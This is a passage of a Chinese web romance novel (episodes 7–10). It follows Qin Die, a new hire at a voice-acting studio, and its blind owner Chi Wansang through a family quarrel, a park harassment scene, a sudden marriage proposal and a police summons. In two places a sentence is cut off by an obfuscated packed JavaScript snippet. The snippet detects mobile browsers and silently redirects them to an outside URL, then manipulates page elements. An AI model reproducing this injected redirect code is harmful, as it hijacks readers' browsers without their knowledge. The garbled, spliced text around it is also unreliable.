回复:泰戈尔的诗,我很喜欢。 “啊啊啊,师姐,我看到博主回复你了,这么久,竟然舍得留言了,我还以为是什么高冷大神呢。你太幸福了。” 秦叠却看着这段回复有些怔愣。 * 三人晚上玩到很晚,如果不是第二天秦叠要去上班,两人还不肯罢休。 天一亮,秦叠就昏昏沉沉地起床,并扇自己两耳光清醒清醒,上班第一天不能出错。 但人总是在同一事物上摔跟头,且翻来覆去地摔。 也许这就叫羁绊吧。 她又撞上了池晚桑这个硬骨头。 她去得很早,店里还没开灯,早上日光熹微,工作室也是暗色调为主,显得暗沉了些。 但是工作室的门却没关。 这群人还真是将佛系贯彻到底,就算没有值钱的东西,录音设备怎么说也需要保护一下吧。 门口的狗窝里空空如也。 可她刚踏进去,就看见一个剪影在移动,举止缓慢,不急不躁,甚至没有发出声响。 小偷! 她不会还没入职就要立大功一件吧。 秦叠捏紧拳头,小心翼翼贴着墙壁潜行。却在走近时,发现是池晚桑。 此时的境地有些尴尬,她进门不和老板打招呼,反而欺负别人眼瞎,悄咪咪凑过来看热闹,是怎么回事? 秦叠难耐地咽了咽口水。 见池晚桑正拿着自己刚清理过的水杯,在热水器上接水,快走近时还咳嗽了两声。 似乎是嗓子不太舒服。 现在是进亦忧,退亦忧。然则何时而能现身耶? 就在池晚桑打开热水按钮,冒着热气的沸水冲进杯子的时候,秦叠背上似乎被这水汽蒸腾出密密麻麻一身冷汗。 100℃,这被烫着可不得了。 借着微弱的光,终于,在杯口出现反射光线的水面时,秦叠高呼:“满了!” 同时行动的是池晚桑按停止的手,精准落在按钮上,盖上瓶盖,动作流畅自然,一气呵成。 俊秀的脸上第一次露出震惊的神色,“咚”的一声,不知道撞到哪里。 他朝秦叠的方向偏过头来,刚才注意力在接水,没注意到竟然来人了。 可他还是礼貌性地招呼了声:“来了。” 波澜不惊的声音,让人联想起深潭里的冰,沉没在墨蓝色潭底,只惊起细微气泡。 秦叠正打算回应,又一泼冷水当头浇下来。 “秦小姐以后都大可不必帮我,我只是眼瞎,还听得见。” 在涉及眼睛的问题上,这人,怎么给人一种刺头的错觉? 而且,秦叠记得池晚桑以前还挺怕黑的。 她悄悄摁下顶灯的开关。 7. episode7 秦叠不知道该说些什么,站在原地百无聊赖地打了个哈欠。 却被这人给敏锐捕捉到。 “昨晚没睡好吗?” 声音徐徐缓缓,如潺潺清泉。 秦叠还没来得及回答,池晚桑似乎察觉不太对,又补充一句:“养成良好的睡眠对嗓子也好。” “好的,池老板。”秦叠看了眼空空如也的狗窝,“你来这么早,岫白没来吗?” “我住得近,今天放它一天假。”说罢,他又以手掩面轻微咳嗽了两声。 昨天还听说有个广播剧反派需要池晚桑去配,他现在嗓子的状态好像不太行啊。 秦叠想着,出门一趟。 她回来的时候其他人都还没到,谁家工作室老板提前到,员工迟到啊。 她径直走向沙发上坐着准备稿子的池晚桑。 “池老板,我看你在咳嗽,我出去买早饭的时候顺路买了感冒药和润喉糖。” 他穿着黑色笔筒裤,翘着二郎腿懒倦地靠在沙发上,露出脚踝上还没愈合的伤口,不过看样子是处理过了。 但是,上面歪歪扭扭贴着的创口贴,是又受伤了?伤口没有完全被覆盖住,甚至粘胶部分可能都贴在了上面。见他一脸淡定,秦叠还是不去触这个霉头。 遇见他的第二天就给他买了两次药,秦叠有些不敢想象这些年他是如何过来的。 池晚桑闻言微仰,雕刻的下颌线,薄唇,精巧的鼻梁,再往上是如深潭的漆目,似能吞噬所有黑暗。 翻页的手轻微顿了下,他也不拿乔,礼貌性地说了声谢谢。 仅此而已。 秦叠正要离开,他犹豫着问了句:“你昨晚上……” “算了,休息一下吧,等林桐她们来了给你办入职手续。” “哦,好。” 入职第一天并没有太多实质性的工作,工作室的人对她的专业能力是认可的,于是这一天主要用来熟悉工作环境。 林桐姐是最早到的,今天穿了件白色T恤,浅蓝牛仔裤,马尾高扎,干练清爽。 “先填个基本信息表吧,姓名,秦叠。你是清远人啊,离这儿还挺近。有曾用名吗?” 旁边沙发上的男人注意力不自觉跳过了耳机里的语音,等待秦叠的回答。 “没有。”秦叠回复得自然,“这个字取青山叠叠,连绵不绝之意。” 还有她对自己翻山越岭,生生不息的期盼。 苏木这时大惊小怪跑进来,池晚桑只得将耳机里的稿子暂停。 “昨天池晚桑录的小样对方很喜欢,反派就定你了!”他略过秦叠和林桐,双手掰着池晚桑的肩膀摇来摇去,“池老板终于要卷土归来了!” 池晚桑抽动的眉头显然被这突然的摇晃弄得有些不适应,却仍放任苏木的激动。 沈桉羽和陈藻在后面姗姗来迟,陈藻还是一如既往得内敛,和秦叠打了声招呼便上二楼准备自己的工作。 沈桉羽和苏木是能折腾的,非说池晚桑以后肯定会火,帮他把社交账号给注册好,并关联了聆境光合工作室。 苏木拍拍池晚桑的肩膀,现在他可是聆镜的扛把子,颇有些得意忘形:“小池,现在虽然只有咱五个关注你,不要气馁,面对我,还是高山仰止,景行行止。” 本来下班后还有个配音圈大佬们的小会,林桐打算让秦叠亮个相,看看她的声音能不能脱颖而出,但秦叠家里突然有事,她只得提前离开。 惠熙和秦时来了。 虽然提前打过招呼,但是忽然而来的到访仍让秦叠感到不适。 一进门就听见惠熙滔滔不绝的抱怨:“学校有宿舍,非要出来租房子,这墙壁都泡浮囊了,你也真是住的下去。” “一个女孩子住的地方乱七八糟的,东西我都帮你收拾好了,勉强才有个下脚的地方。” “你们怎么不提前打个招呼?”秦叠脸色稍有些不佳,翻箱倒柜找自己的拖鞋,克制着情绪打探。 秦时正往冰箱里塞他们从老家带的土特产,一样样给秦叠过目,像是客人上门带的伴手礼。 虽然有她小时候最爱吃的辣椒酱,但是现在似乎都不重要了。 “我们去女儿家也要提前打招呼吗?让你提前去找你哥,你不去,只有我们来了。” 秦叠发现老两口和平时有些不一样,但说不出哪点不同。 似乎是少了些死气沉沉,眼睛里闪烁出微光,似乎是为了这一趟有专门打扮,换上了干净体面的衣裳,修剪了头发。 她在柜子最里面发现自己的拖鞋,取出来。 “我这儿不太方便睡三个人,我去预定酒店的房间,你们晚上住那儿吧。” 秦时登时有些不悦,语调高上三分:“怎么?不欢迎我们,你的钱不是从我们这儿要走的吗?在大城市待久了,看不起人了。” “对啊。”惠熙坐在床上附和道,“我们就住这儿,省钱。一家人哪儿那么多讲究。” 灶台是冷的,看来今晚的晚饭是让秦叠来安排,她点了些外卖,三个人将就挤在小桌子上吃晚饭。 为了让两人吃好点,秦叠专门挑了贵的点。 看见一大块一大块的肉,惠熙啧了一声:“在大城市生活就是舒服,不用做饭,不用洗碗,有钱就行呗。” 秦叠捏紧手里的筷子,“我平时也做饭。” “得了吧你,你这懒样,嫁不嫁的出去还不一定呢,一天到晚买些没用的东西,那箱子里的望远镜啥的,买来有啥用,钱不是你挣的啊?” 那是她难得多出来的,不属于生活必备品的东西。 秦叠一时有些着急,这口饭实在有些咽不下,“你怎么乱翻我东西呢?” “你妈帮你收拾,还乱翻你东西。”秦时丝毫没察觉不对劲,挑着大肉夹在碗里,“对了,刚才没地方灭烟,我灭在窗台那盆草里了。好像烫死了,你上班的时候记得顺路丢了。” 她瞳孔瞬间紧缩,有些不可思议地看向秦时,视线又去找那棵含羞草。 一半的茎叶被烟锅巴烫得再也舒展不开,皱巴巴缩成一团,在窗台偶尔路过的风里颤抖。 两人丝毫没把这些当回事,又说秦叠要本事没本事,他们在老家找了户人家,男方不嫌弃,可以见一面,这次找完秦东柏就带她回去相亲。 秦叠终于忍无可忍,沉默着将筷子放在桌上,秉持最后一丝理性,额角青筋因为忍耐跳动不停,脸色憋得微微发红。 “首先,我不是说昨天我去面试了嘛,我通过了,我找到工作了。”秦叠刻意挤出一个微笑,虽然没有人会祝贺她。 “其次,你们这样没经过沟通贸然上门堵哥哥,只会事半功倍。你们也许不知道,我这些年,比你们更想他回来。” 眼眶有些潮湿,秦叠往上望了望,哽咽着把眼泪憋回去,“最后,我不会回去和那个人相亲,绝对不会,以后我就住连阳。” “今晚,你们俩睡这里吧,我出去住。” 出门前嘴里还喃喃了句:“当初怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460827|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢的就不是她呢……” 黑夜是最好的保护色,将旅人的喜怒哀愁全都包裹,仿佛每个人都是夜色最虔诚的信徒,只在星幕下匆匆行走。 今晚换了个社团在小广场演出,说唱社的,气氛在另一个程度上带到高潮,女生唱到后半段,“要小心以公谋私的恶意,男孩子气不然被当花瓶,问你婚姻你说从没考虑”。 秦叠忽然有些绷不住,情绪决堤往往就在一瞬。 她蹲在远处的花坛步道间连接的台阶上,白天这里人很多,但是晚上没有灯,很少有人愿意去漆黑一片的地方。 她开始在音乐的燥热中不顾及地放声大哭起来,将头埋在胳膊下面,尽力将哭声压抑在身体里。 “怎么了姑娘?失恋了?”一个男人的声音轻佻地在头顶响起,脚步声没有走几步,应该在她附近观察挺久了。 语气里带着来者不善的猖狂笑意。 “滚。” 秦叠也没有心情周旋,怕自己站下风,擦了擦眼泪起身就要走。 可羊肠小道的前面也堵了一个人高马大的男人,二三十岁的模样,坎肩皮衣,挑染绿色卷发。 旁边都是园林修剪整齐的灌木丛,很难跑出去。 秦叠清了清嗓子,语气里加入几分镇定和防备,“你们要干什么?旁边可都是人。” “不干什么啊,你说你长得这么好看,失恋有什么可怕的。” 前面的男人有着一副公鸭嗓,吊儿郎当地走进她。 秦叠脸上还带着莹润的泪水,反射不远处舞台的强光,显得皮肤吹弹可破,更加白皙透明,而嘴唇因为一直紧咬着,略微发红,像颗饱满的樱桃。 池晚桑此时缓缓起身,从旁边的凉亭离开。秦叠来之前,那几人之前和他聊过两句,没想到是个瞎子。 现在也并没有把他当做任何威胁。 他稳中带快,熟门熟路地走到之前抽烟的宿舍门口,和平常并不无两样,低头和右耳带着十字耳钉的少年喃喃了些什么。 少年邪笑着起身,拍了拍他的肩膀,带着几人朝公园里走去。 “咚咚咚”,盲杖频率快速且轻微地撞击地面。 池晚桑此时才察觉到他握着盲杖的右手不可控地微微颤抖。 希望她没事吧。 没一会儿,几人就回来了,说流氓赶跑了,但女孩还蹲在原地,好像没有走的意思,开玩笑地问池晚桑要不要自己过去看看。 他犹豫再三,面无表情地朝公园的方向走回去。 “那我去看看怎么回事。” 按着记忆中的路线原路返回,他故意放大盲杖敲击地面的声响,不想再惊扰到秦叠。 果然前面不一会儿就传来秦叠“好心”的提醒: “池老板,走错路了,面前是去工作室的方向。” “哦,是吗?你在这里玩?我能坐一会吗?” 池晚桑向前伸出手去,示意秦叠拉他坐下。 他只字不提刚才的事情,也不问为什么她的声音里带着哽咽,反正自己也看不见。 旁边的大灯转过来,刚好照在他伸出的右手上,骨节分明,其上似乎只覆了薄薄一层皮肤,光洁如雪。 这对盲人是很常见的求助姿势,示意别人拉他一把。池晚桑就在黑暗中,坚定地朝她伸出右手。 “不伸手拉瞎子一把吗?” “我也是清远人。” 秦叠没忍住笑,定定地看住他:“你会算命吗?每次都来的这么巧。” 8. episode8 竟有些好笑,池晚桑用自己是老乡的身份祈求她伸手拉住他吗? 不过秦叠只是被他自称瞎子给吓着,像是看见别人剥开血淋淋的心脏,笑着让她看里面竟然缺了一角。 “地上凉哦。” 她坐着伸手引导他坐下,两人都隐在暗处,只有交握的双手,此时被聚光灯暴露了个干净。 他的手很凉,和他整个人一样凌冽的,干净的,动作温柔却有不容拒绝的力道。 秦叠想起初中那年,她刚得知哥哥不见了,从学校狂奔回家,那还是冬天,寒风刮得耳朵生疼,里面的衣服却都已经汗湿了。 一不小心,她被旁边男生恶作剧给绊了一跤,虽然穿了棉衣,膝盖和胳膊肘蹭在地上,还是火辣辣地疼。 那时,她还不知道发生了什么,从爸妈的哭嚎和吵架中,她只是从心底里觉得,那是一件很大的事。 也是池晚桑向她伸出手,向手里哈气,搓热后捂在她耳朵上,擦掉她脸上的泪水,问她发生什么事了,再哭脸就要裂开了。 她只说哥哥不见了。 后来池晚桑将那男孩教训了一顿,问她问什么不反抗,说带她去找秦东柏。 她没有说为什么不反抗,只是那些年,见惯了秦时和惠熙两人的阴阳怪气,吵来吵去,她觉得没必要,不想吵了。 今天晚上也是,明明很生气,但她不想用高声尖叫和连串输出去打压对方的气势。 她不想看见任何争吵。 池晚桑在旁边坐定,轻呼一口气,半开玩笑地说:“秦小姐,不是每个瞎子都会算命,我也不会每次都很巧。” “池老板怎么晚上一个人到处乱走?” 秦叠和池晚桑之间有一拳的距离,她将头斜靠在膝盖上,肆意观察池晚桑的表情。 自从她喜欢上他,从来不敢正眼看他。 她心里想:也许当时池晚桑去找过她,但是因为失明了,看不见她留在门前的新家住址吧。 其实那天池晚桑磕磕绊绊挣脱束缚,几乎是连滚带爬走到她家门口时,手上没有一块完整的皮肤,还是摸到了那个纸条。 还有敲不开的铁门。 后来他请人帮忙念了上面的字,却迟迟没有勇气再联系她。 虽然他想说,不论她考得如何,他都会表白。 池晚桑感受到秦叠的呼吸很近,温热快消散时仍触碰到他脸上,他微微偏开头。 又听见旁边女孩自说自话:“是没事干,出来散步吧。” 池晚桑闻言笑了笑,“你这自言自语,话都被你说完了。” 他的声音在漆黑的夜晚似乎更有奇妙的治愈能力,温厚地在冬天盖上棉被,在雨夜撑起一把伞,让人莫名心静。 如在地底潺潺流动的地下河,悄无声息,却沃野千里。 被一连两次提醒,秦叠也意识到了自己自言自语的毛病,跟着自嘲地笑了笑,“今天,还得谢谢你。” 她很聪明,莫名其妙出现一群顶着五颜六色头发的人帮忙,然后池晚桑不失时机地出现,很容易联想到一起。 只是没想到他只字不提。 本来还想趁他看不见自己哭得红肿的脸,装一下无事发生,现在看来是不行了。 “不过,你为什么会认识那种人……没有其他意思,就是,你们之间,很不一样。” 这回换池晚桑有些失笑,“那种人?哪种人?” 随即他很自然地解释道,面色温和似陷入回忆:“陈藻以前就是你说的那种人,我那时还不太熟悉盲杖,又好强,走得快,朝着他们抽烟的地方就冲了上去。” “是陈藻扶住了我,后来就认识了。发现他嗓子不错,就招进聆镜了。” 秦叠有些脸烧,这回是以小人之心度君子之腹了。 池晚桑眉头皱了皱,似乎闻到空气中有淡淡血腥味。刚才他们说秦叠被推搡了几下,应该是那时受的伤。 她又嘴硬,欺负自己看不见,只字不提。 “听歌吗?”秦叠掏出蓝牙耳机,看了眼旁边的人。 不远处的社团活动结束,公园恢复了寂静。 “谢谢。”池晚桑接过耳机。 两人就坐在台阶上,身处黑暗里,月色不明,周边的草丛树木都阴森恐怖地在夜晚张牙舞爪。 旁边散去的人群叽叽喳喳,声音也越来越小。 两个人各怀心事,就这么安静地坐着。 “还好你看不见。”秦叠突然没来由说了句,看见自己身上被蹭破皮的地方,有些委屈地想哭。 “不然今天就知道我有多狼狈了。” 她长舒一口气,“有的时候别人打量的眼光也很烦人,如果看不见的话,会省去很多烦恼。” “是嘛,那这方面还挺好,我看不见别人同情的眼神也不会顾影自怜。” …… 这人怎么随时能把话头给堵死。 秦叠想起家里面的争吵,还有从天而降的相亲对象,如果她去见了,爸妈很有可能就自作主张定下这门婚事,以后想再翻身就难了。 这池晚桑也未婚吧。 刚去聆镜面试那天,还撞见他相亲来着。 想着,秦叠不自觉叹了口气,然后不在意似的开口:“我给你讲一个故事吧。” 他坐着不说话,微微笑着示意,永远是谦卑礼貌的模样。 “我很小的时候,爸妈就不在了,我一直是和外婆生活,一个人学会了自力更生,照顾人方面,我自认为还挺得心应手的。” 池晚桑不知道她为何要突然自报家门,具体的身份信息今天已经收集过了,这么细致的个人隐私,工作室也不想了解。 但他没有打断她。 “所以,我家庭还算简单。以前有个哥哥,不过失踪了很久了,应该是找不回来。” 池晚桑有些意外,心里软了一瞬,不可思议地看向她这边,不知道是不是秦叠的错觉,他脸上头一次出现表情混乱的不知所措:“你哥哥也丢了?” 今天下午登记信息时,听见她的生日和籍贯,池晚桑也表示了惊讶。你也这天生日?你也住这儿? 秦叠笑着打趣:“今天池老板可对着我说了好几个也,是在想谁吗?池老板也认识其他人的哥哥不见了吗?” 她心里怀着一丝侥幸,想从他口里得知自己的地位到底如何。 不过池晚桑嘴很严。 “一个老朋友而已,不过很久没联系了。” 他的脸上暗淡了下去,丝毫没把眼前的人和那位老朋友联想到一起,勉力笑了笑,叹口气,似乎是惋惜,又似乎是无奈。 “你继续。” “嗯,我长得还不好看,歪瓜裂枣的,眼睛小,鼻子大,嘴巴歪,皮肤差,其实内心还蛮自卑的。” “人又懒,又没拿得出手的本事能养活自己……” 秦叠这一顿押韵输出,差点把自己说服了。 池晚桑有些讶然,说这么一番是干什么。 不过他也明显感受到了不妙。 秦叠想撒一个谎,虽然这个谎看起来很不可理喻。 而且在他们面前,这是个玻璃质的谎言,又脆薄,又明亮。 但她还是想试一试,为了不让秦时他们将自己生拉硬拽回去,不和一个不认识的人勉强凑合过完下半生。 和池晚桑将就扶持着过,好像听起来也还不错。 如果她暴露自己的身份,也许 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秦东柏说有一回,池晚桑忘记写作文,却被老师抽查起来朗读自己的文章,他硬生生对着空白的作文格子念了五分钟。 最后还被表扬写的好,要求传阅给同学们看,他只得又写了一版。 这才是当时万丈光芒的池晚桑。 不过秦叠不知道,甚至秦东柏也不知道的,是当时池晚桑手里拿的是写了一半的情书。 池晚桑难得分享“自己”的童年,一口气说了这么多话。 秦叠看他有些乱了阵脚,不可察觉地笑了笑,玩味地问:“哦,是嘛。” “不过我不是这个意思。” 秦叠吐了口气,鼓起半辈子的勇气:“我想说,我这幅样子反正没人要,老板你失明也不好找对象。不如我们将就凑合一下,我以后一定把你照顾得很好,我们就相敬如宾,像兄弟朋友一样生活就行。” “我都说到这份上了,所以,你愿意,和我,结婚吗?” 秦叠索性闭眼,一气说完,最后一句一字一顿,非常明确。 月亮从云层里探出半个脑袋,将她整个脸照的通红。 四周人群散尽,鸟雀声息,池晚桑耳边只有他最近新招的员工,认识不到一周的女人,忽然向他求婚的声音。 你愿意,和我,结婚吗? “你说什么?”他有些不敢相信自己的耳朵,毕竟之前工作室的人想找个人照顾自己,被迫相亲,已经见过很多人了。 没有毛病的,不会愿意嫁给他。 “我说,你愿意,和我,结婚吗?Willyoumarryme?” 秦叠又说了一遍。 “难道池老板已婚?” “这,倒没有。”池老板只是有些羞涩。 “有女朋友?” “这也没有。” 秦叠不放过气口连环追问:“那,有喜欢的人吗?” 池晚桑此刻没有立即回答。 沉默却说明了一切,秦叠心中微凉。 原来是这样吗? 池晚桑趁着她发愣,恢复冷静,却道:“你先冷静,不要慌,我们再考虑考虑。” 此时,他收到一通电话,秦叠轻瞥一眼,忽然有些紧张,拳头不自觉捏紧。 警察局来电。 是因为刚才的打架,连累到他了吗? 池晚桑接起手机,语气里还是带着曲径通幽意味的淡然:“喂您好,有什么事吗?” “是池晚桑先生吗?” “你弟弟池向榆滥用您的身份招摇撞骗,希望您能过来一趟。” 9. episode9 “我带你去。” 见池晚桑有些慌张,秦叠扶着他站起来,放着一个盲人四处乱跑也不是个事。 还好池晚桑没有拒绝。 “那麻烦了。”语气间又恢复了疏离和淡漠。 两人快到门口时,俱沉默了一瞬,连呼吸都谨慎了些。秦叠知道这样贸然打探老板的家事似乎不太好,小声问了句: “你能搞定吗?” “可以。” 池晚桑也不愿意秦叠过多参与到自家的麻烦里,道谢后让她先回去,但秦叠今晚本就无处可去,在警察局旁边的长凳上盘腿一坐。 万一里面需要帮忙,她也可以顺便伸出援助之手。 池晚桑进去的时候,事情已经大致明了,池向榆拿着池晚桑大学学生证,仗着两兄弟长相相似,去做了家教。可毕竟专业水平摆在哪儿,露馅是迟早的事。 说起两人面貌,可以说很好地遗传了爸妈脸上优良的基因,兄弟两虽不是双胞胎,却几乎如出一辙,眉眼比例,脸型……秦叠记得小的时候,他们妈妈只看脸也常分不出两人。 池晚桑小时候调皮些,小小年纪就聛睨一切,但好助人为乐,关爱弱小,有侠客风范。池向榆则木楞些,但眼睛里还是和哥哥一样闪着光。 只不过这光,不知何时在那人的眼里却熄灭了。 之前和外婆打电话,秦叠听过隔壁池家的八卦,外婆无意间提起说池晚桑的妈妈改嫁了,带走了池向榆,只留下池晚桑和他外婆相依为命,直到后来纪婆婆也走了,就再没见过池晚桑。 那时她心里已经快放下,猝不及然听到这个消息,本想着打电话关心一下,却发现自己早就把退路给断了。 如今池晚桑貌似和池向榆还有联系,秦叠很想问他们家是又团聚了吗。 但现在的她没有任何立场和资格开口。 远处警察局走出来两个高挑的男生,前面的稍微矮一点,动作灵活快走几步,又犹豫了半瞬,停下,转身等后面的人。 后面的人拄着盲杖走得也十分自然,身形挺拔,衣料被长期锻炼的肌肉抻展得没有褶皱,那盲杖在他手中似乎只是一个玩物。 “楼梯。”前面的人沉声说了句。 池晚桑顿了顿,才略微小心了几分。 秦叠隔得远,看不真切,却觉得池晚桑的脸上有难得的温柔。被人请去警察局了还这幅模样,真是无药可救了。 本以为池向榆起码会送他哥回家,没想到下了楼梯后,两人竟然分道扬镳。 秦叠就坐在远处,看着池晚桑渐渐走进,没有发出声响。 盲杖轻敲地面的声音也极低,暗夜中,他似乎在自己主场,没有畏惧,走得从容不迫。 “所以你有喜欢的人?” 秦叠就是看不惯他一直端着的样子,等他走近了,蓄谋将这高岭之花拉入泥潭。 没曾想看热闹的心非但没有得到满足,还被当头泼来一盆洗脚水。 池晚桑连惊讶都没有,自然地像是两人从没分开,他笑了笑,“这不重要,已经不可能了。” “我送你回家吧。”秦叠起身,拍了拍身上的灰尘,冷声应道。 气氛此时有些微妙,池晚桑楞了瞬,应声说多谢。 两人并排走着,人行道上光线不强,倒是秦叠睁眼瞎差点摔倒两次,被池晚桑一把捞住手臂,示意她走路不要分心。 “我弟弟,做了点错事,还不太严重,可以弥补。” 过了半晌,他似乎觉得耽误秦叠这么久,需要给人个交代,缓缓开口。 秦叠猜到了几分,没什么心思地哦了一声。 不一会,池晚桑竟主动挑起话题:“你,哥哥不见的时候,家里面好过吗?” 他很想问以前的秦柔桑这个问题,但女孩自己总是一副大大咧咧的平常样子,何必去戳人伤疤,从此这个问题便闭口不谈。 今晚却忽然想起来。 秦叠哂笑了声,聊这个,她可有太多话了。 “怎么可能好过呢,我一开始以为他会回来的,一周后,一个月后,总会回来的。可过了一年又一年,这个漏洞在家里却像个黑洞,吞噬了所有的光线。哥哥就是太阳,陷入黑洞后,爸妈这两颗行星也失去了方向,一并被吞了进去。” “一开始吧,家里还挺镇定,可是希望越来越渺茫,躁动的情绪就像被饲养已久的困兽,一下子冲破牢笼,将那里卷了个天翻地覆。家里氛围越来越糟糕。我们认识了一些同样经历的家庭,他们都找了二三十年了,我记得我妈听到这个数字,当场就晕了过去。” “难道我们也要像他们一样吗?我们谁也不知道结局,就这样麻痹神经,继续找啊找。” 秦叠忽然回想起,有些无奈,嗤笑了声,“有一回,我爸情绪崩溃,回家直奔厨房,操起菜刀,递给我,让我杀了他,给他个痛快。我吓得刀都握不紧,他就以头抢地,撞得头破血流。” 秦叠抬手对着天空,试图抓下两颗星星,接着道:“有些媒体说我这生就差不多完了,悲剧这个标签被不断地打在我头顶。可我觉得这辈子这么长,怕什么,喜剧的标签照样会被我找到。” 池晚桑握盲杖的手不经意捏得指节发白,替她惋惜,替这个家庭难过,又后悔当初的自己为什么没有多问一嘴。 “当时没有人能安慰你吗?” 秦叠将手掌对准他的脸,食指和中指指缝间露出池晚桑如墨的眼睛,笑了笑,“有啊。” “不过,他不知道具体发生了什么,但还是能带给我快乐。” “所以,”秦叠顿了顿,“有兄弟姊妹,和没有兄弟姊妹,是好是坏还真说不准,悲剧的意味都是后来赋予的。不过还好你外婆去世的时候,没人和你争……” 话说到一半,秦叠戛然而止,说得太顺溜,把自己知道,池晚桑不知道自己知道的事情给抖出来了。 “哎呀,”她忽然声音抬高了八分,“到了,快到了,边走边聊,时间就是过得快哈。” “我好像没给你说过我家住哪儿?” 池晚桑是认得路的,看秦叠一直没偏离,便没打断她。此时被她这么一吵,飞走的理性回笼,脸上露出一丝狐疑,停下脚步。 “看着你这气质像!”秦叠彻底慌了,赔了夫人又折兵,继续胡编乱造,“这小区简单大气,又不失高端典雅,和你太配了,啧啧啧,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460829|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这树,真高!” “这花台,真顺滑……” 池晚桑:…… “好吧,我住旁边的居民楼,之前在这儿看见过你,只是没想到能入职,没和你打招呼。” 这个理由怎么没提前想好,秦叠你在犹豫些什么!她自锤胸口,这下不要被当成什么恐怖分子就算好的了。 池晚桑嘴角不可察觉地扬了瞬,又被刻意压下,今天填表说家庭住址的时候,他已经听到秦叠就住在隔壁小区。 本想打趣一下,没想到弄得人家这么慌张。 “你,上去吧,后面的路就没什么危险的了。” 秦叠尴尬地摇晃双手,挥手示意池晚桑可以走了,她不是变态,不会跟上。 但面前的人并没有动,像是想起什么,“你家里有医药箱吗?” 秦叠有些懵,“没,你需要什么吗?我帮你买……这药店今天怎么关门这么早……” 她转头正想说附近就有药店,却看见黑糊糊一片。 “跟我上去吧,楼层不高,我家有碘伏,你脚受伤了。” “你又是怎么知道的?”秦叠这下真快觉得池晚桑瞎之后,顺道开辟了天眼,得到仙人真君的指点,能窥破万物玄妙。 “算出来的?” “血腥气,公园就闻到了,一时情急让你陪我去派出所,耽误了这件事。” 池晚桑有些哭笑不得,“还有你刚才走路声音一浅一重,很容易发现。” “真不会算命。” 最后还无奈地解释了句。 伤口刚好裂开在鞋口边缘位置,走路会蹭到,有些护痛。也不是什么大问题,索性秦叠就瘸着走了一段,没想到池晚桑比常人还要心细些。 “一个瞎子,能干些什么?” 池晚桑似乎听出了她的犹豫,“药店你不是说没开吗?自己涂了就走,我不会拦你。” “哦哦好。” 对方都已经拿出自己的伤口明摆着诚意,再不松口就显得有些欲拒还迎了。 秦叠乖乖跟在池晚桑后面,他住哪栋楼是真的不清楚了。 池晚桑拄着盲杖,移动到靠边的位置,顺着花坛往前走。 秦叠正想问一句为什么老是靠边走,旁边不是有盲道吗?就发现盲道上一片狼藉,停放的自行车和电动车数不胜数,还有缺少砖瓦的情况,换个普通人走这夜路都容易给摔一跤,更何况是盲人。 看得气不打一处来,前面的人却沉默地如同一座山。 秦叠心想:原来这个小区也就是马屎皮面光,造型看着还行,内部管理太差,比如面前这些要死不活的路灯,和她家的倔脾气台灯有的一拼。 忽然前面闪过一个黑色的影子,人在暗处,看不太清楚。 只是那人似乎看见他们来了之后迅速躲开,让人有些疑惑不解。 秦叠看了眼倒地的自行车,估摸着是个偷车贼,做贼心虚,见人就跑,也没太在意。 “到了。” 前面传来池晚桑低沉的声音,为了不打扰周边住户似乎刻意小声了些,太久没开口,又带着沙哑。 竟然…… 有些蛊惑性感。 10. episode10 刚开门就有一团黑乎乎的东西扑上来,吓得秦叠惊声尖叫,声音刚从嗓子里溢出半寸,又似乎觉得不对劲,被秦叠给生生吞了回去。 第一次来别人家,不能这样没礼貌。 池晚桑为了照顾她,把灯打开,围住岫白,给秦叠让路。 房子在三层,房间并不大,两间卧室,开放式厨房,和工作室一样的布局理念,尽量精简,一览无余。 “你一个人住吗?” 她有些惊讶。 “对,家里没人,请进。” “没事,我做一下心理建设就能适应岫白了。” 以后毕竟抬头不见低头见,秦叠深吸一口气,起势,迈步,进屋。 随即迎面而来的是木质家具特有的清香。 难怪池晚桑身上老是萦绕着木调香,家里的家具多是木头制成,圆润,光滑,是用了心思装修的。 “给你倒杯水,坐一会儿。” “不用不用。”秦叠正想自己来,忽然想起池晚桑要强的性子,家里来客还让客人动手,明显是看不起人家,话到嘴边又成了:“那谢了。” 以为这里会有钢琴,毕竟是陪伴了他整个少年时代的东西,秦叠却连琴架的影子都没看见,反而在墙角的位置看到几个摆放整齐的哑铃等锻炼器材。 “池老板会弹钢琴吗?” 秦叠明知故问,想看池晚桑的反应。 谁想到他没有一丝犹豫,几乎是斩钉截铁地说:“不会。” 秦叠闭了嘴,看来他对自己的戒备心不比自己对他的少,她装作不甚介意,起身就要去拉窗帘。 “你平时不习惯关窗帘吗?晚上开了灯,外面暗里面亮,外头的人能将这里看个干净,以后还是记得关一下。万一有人图谋不轨就不好了。” 她主要是防止自己再像个变态一样看过来。 池晚桑倒了半杯橙汁,熟门熟路地走过来,动作轻松随意,休闲惬意,“我晚上一般不开灯。窗帘开着,白天有光能透进来,阳光强一点的时候,坐在这里,能晒将人晒暖和,挺好的。” 秦叠接过橙汁,他又似乎被逗笑了,埋头轻笑,显得整个人都柔和了几分,“再说,哪儿有那么多图谋不轨的人。我去拿医药箱。” 医药箱就在进门旁边的柜子里,秦叠看着池晚桑几步就能走过去。 这房子虽然装修不错,面积还是有些小,一个工作室的老板,如果不是佛系成他这样子,再怎么说也能买大一点的房子吧。 